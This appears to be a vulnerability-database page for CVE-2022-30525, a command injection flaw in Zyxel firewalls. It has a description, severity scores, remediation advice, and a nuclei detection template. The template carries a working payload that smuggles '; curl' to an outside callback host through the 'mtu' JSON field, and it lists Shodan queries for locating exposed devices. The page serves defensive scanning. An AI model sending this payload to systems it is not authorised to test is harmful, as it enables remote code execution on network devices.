HexBrain

Browse / CVEs / CVE-2022-30525

CVE-2022-30525· zyxel / usg flex 100w firmware· CWE-78

Zyxel Firewall - OS Command Injection

Exploited in the wild. Listed by CISA on 2022-05-16; known to be used by ransomware.

criticalseverity
9.8CVSS score
99.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.

Impact

Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.

Fix

Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.

How to confirm it

Send: POST /ztp/cgi-bin/handler
Positive when: contains in interactsh_protocol "http" AND status 500

Run it with nuclei: nuclei -id CVE-2022-30525 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-30525

info:
  name: Zyxel Firewall - OS Command Injection
  author: h1ei1,prajiteshsingh
  severity: critical
  description: |
    An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
    - https://github.com/rapid7/metasploit-framework/pull/16563
    - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30525
    - http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-30525
    cwe-id: CWE-78
    epss-score: 0.99944
    epss-percentile: 0.99974
    cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: usg_flex_100w_firmware
    shodan-query:
      - title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
      - http.title:"usg flex 100","usg flex 100w","usg flex 200","usg flex 500","usg flex 700","usg flex 50","usg flex 50w","atp100","atp200","atp500","atp700"
  tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rce,vkev,vuln

http:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from